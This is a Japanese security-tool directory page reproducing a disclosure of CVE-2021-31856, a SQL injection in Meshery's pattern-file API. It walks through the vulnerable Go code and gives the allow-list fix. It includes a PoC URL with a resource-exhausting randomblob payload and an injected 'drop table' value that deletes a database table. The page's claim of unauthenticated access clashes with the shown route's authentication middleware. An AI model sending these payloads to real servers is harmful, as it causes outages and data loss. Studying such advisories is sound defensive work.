Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2021-31856 — Detailed CVE-2021-31856 report with PoC and code analysis for a SQL injection vulnerability in Meshery's pattern file API, enabling unauthenticated data extraction. | Kitploit
ツール/GitHubGitHub/ssst0n3/cve-2021-31856
脆弱性分析コード分析ウェブアプリケーション悪用ペネトレーションテストデータベースセキュリティ
GitHubssst0n3/cve-2021-31856

CVE-2021-31856

Detailed CVE-2021-31856 report with PoC and code analysis for a SQL injection vulnerability in Meshery's pattern file API, enabling unauthenticated data extraction.

リポジトリを見る
45年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

[脆弱性レポート] CVE-2021-31856: Meshery におけるSQLインジェクション

項目詳細備考
プロジェクトhttps://github.com/layer5io/meshery
発表日2021-04-28
CVE-IDCVE-2021-31856https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-31856
EDB-ID\
脆弱性のあるバージョンv0.5.2\
修正済みバージョンv0.5.3https://github.com/layer5io/meshery/pull/2745
CVSS7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
作者https://github.com/ssst0n3

1. 説明

meshery/models/meshery_pattern_persister.go の GetMesheryPatterns() 関数は、/api/experimental/patternfile?order=id%3Bselect(randomblob(1000000000))&page=0&page_size=0 の order パラメータを介してSQLインジェクションの脆弱性を持ちます。

2. PoC

root@kitploit:~
http://<IP>:9081/api/experimental/patternfile?order=id%3Bselect(randomblob(1000000000))&page=0&page_size=0

動画を見る

お使いのブラウザはHTML5動画に対応していません。代わりに動画へのリンクをご覧ください。

3. コード分析

GetMesheryPatterns 関数のパラメータ order は文字列インスタンスです。gorm を使用する際にクエリ文に直接追記され、SQLクエリ文は Find() によって実行されます。

https://github.com/layer5io/meshery/blob/v0.5.2/models/meshery_pattern_persister.go#L35

root@kitploit:~
func (mpp *MesheryPatternPersister) GetMesheryPatterns(search, order string, page, pageSize uint64) ([]byte, error) {
	if order == "" {
		order = "updated_at desc"
	}
        ...
	query := mpp.DB.Order(order)
        ...
	Paginate(uint(page), uint(pageSize))(query).Find(&patterns)
        ...
}

パラメータ order がユーザー入力からフィルタリングなしで渡される場合、SQLインジェクションの脆弱性が発生します。

呼び出し処理を追跡すると、パラメータ "order" がクエリから直接取得されていることがわかります。

https://github.com/layer5io/meshery/blob/v0.5.2/handlers/meshery_pattern_handler.go#L140

root@kitploit:~
func (h *Handler) GetMesheryPatternsHandler(
	rw http.ResponseWriter,
	r *http.Request,
	prefObj *models.Preference,
	user *models.User,
	provider models.Provider,
) {
	q := r.URL.Query()

	resp, err := provider.GetMesheryPatterns(r, q.Get("page"), q.Get("page_size"), q.Get("search"), q.Get("order"))
	if err != nil {
		http.Error(rw, fmt.Sprintf("failed to fetch the patterns: %s", err), http.StatusInternalServerError)
		return
	}

	rw.Header().Set("Content-Type", "application/json")
	fmt.Fprint(rw, string(resp))
}

デバッグすると、クエリ文は次のようになります。

root@kitploit:~
SELECT * FROM `meshery_patterns` ORDER BY <ORDER>

order を id;drop table meshery_patterns に設定すると、文は次のようになります。

root@kitploit:~
SELECT * FROM `meshery_patterns` ORDER BY id;drop table meshery_patterns

そしてテーブルが削除されます。


完全な呼び出しチェーンは次のとおりです。

https://github.com/layer5io/meshery/blob/v0.5.2/router/server.go#L127

root@kitploit:~
	gMux.Handle("/api/experimental/patternfile", h.ProviderMiddleware(h.AuthMiddleware(h.SessionInjectorMiddleware(h.PatternFileRequestHandler)))).
		Methods("POST", "GET")

https://github.com/layer5io/meshery/blob/v0.5.2/handlers/meshery_pattern_handler.go#L93

root@kitploit:~
func (h *Handler) PatternFileRequestHandler(
...
		h.GetMesheryPatternsHandler(rw, r, prefObj, user, provider)
}

https://github.com/layer5io/meshery/blob/v0.5.2/handlers/meshery_pattern_handler.go#L149

root@kitploit:~
func (h *Handler) GetMesheryPatternsHandler(
...
	resp, err := provider.GetMesheryPatterns(r, q.Get("page"), q.Get("page_size"), q.Get("search"), q.Get("order"))
..

https://github.com/layer5io/meshery/blob/v0.5.2/models/default_local_provider.go#L439

root@kitploit:~
func (l *DefaultLocalProvider) GetMesheryPatterns(req *http.Request, page, pageSize, search, order string) ([]byte, error) {
...
	return l.MesheryPatternPersister.GetMesheryPatterns(search, order, pg, pgs)
}

https://github.com/layer5io/meshery/blob/v0.5.2/models/meshery_pattern_persister.go#L35-L44

root@kitploit:~
func (mpp *MesheryPatternPersister) GetMesheryPatterns(search, order string, page, pageSize uint64) ([]byte, error) {
	if order == "" {
		order = "updated_at desc"
	}
        ...
	query := mpp.DB.Order(order)
        ...
	Paginate(uint(page), uint(pageSize))(query).Find(&patterns)
        ...
}

4. 修正

パラメータ order に対して、ユーザー入力をフィルタリングせずに使用する代わりに、許可リストを設定します。

https://github.com/layer5io/meshery/pull/2745

gorm のドキュメントから参考情報を得ることができます: https://gorm.io/docs/security.html

ツールをダウンロード